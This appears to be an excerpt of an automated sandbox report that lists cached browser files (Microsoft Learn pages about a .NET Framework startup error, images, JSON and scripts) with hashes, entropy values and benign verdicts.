SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 106

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016149588804727
Encrypted:	false
SSDEEP:	768:haAq16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTKGLlO6eAbTIr4audZqBkZRLg
MD5:	1FF4CE3C1DB69A5146B03AD8BE62F5EB
SHA1:	5D177F6D11FCFF2BD62E61983383BB39D9F045E4
SHA-256:	222F320F99EF710DCE98F125314F30DAC99CF408525D86F185B317A878D48A5C
SHA-512:	36D198120D83AA9BDC2E74F80B99E2219EE4F03A8DD93A1E58A9E30BD48E829E5220A9F5FE6FC29B3810ED85005A8DCD0EAD04EE06DCCD0A15CD6D080E88641D
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=738KZNfnzz.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	downloaded
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.029026183/scripts/en-us/index-docs.js
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 110

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	195740
Entropy (8bit):	5.430025391478659
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVli/:Wof3G0NSkNzMeO7z/l3l2
MD5:	D82F4F5987237E395E490E03D4BE6149
SHA1:	5AC34F59A61D63992B9E879641E4BE0B0EC102E2
SHA-256:	27D8C10911B83F10EB6D8CA6AFE8CFD930F2310D3970B50DBADFC5777D1AA6B2
SHA-512:	33E2378B78FFD3E5C9D101CEFAC955D245F693868BB73DAC536D508B85154C0A531C0AE03F838F924F7AB420E3B5C0D9F7FD7A3A62E9E8994E883658D67B169C
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	27868
Entropy (8bit):	5.155680085584642
Encrypted:	false
SSDEEP:	768:63ZUfTvLg6jLjnjrjGjXMQjtzjMFzXY8v1gWj/rlOVqnACpK3o3hhl0OU2/8BlsX:BTvL7HBJv11pOVqlh382/rIN1Y
MD5:	0A0F2E1CCB8E5F7C38CB11B101A8941F
SHA1:	112F4B7CB3DEDB9D9744CAC000E05DC949E89891
SHA-256:	DBDB03D01BA044C4072BBC169C1E54D05A3D89623D2EBEAC28AC89ABDA3ABC2A
SHA-512:	9BD4E9C2415FB62E55D04DDEB9ECE04CB9AE2B8F8B93632A11A0AFD1CE6A632DF7D58DD571BF34C6E8E99107E80340CFAFF4BB4A8E18D05B5CAA7445DE55839C
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
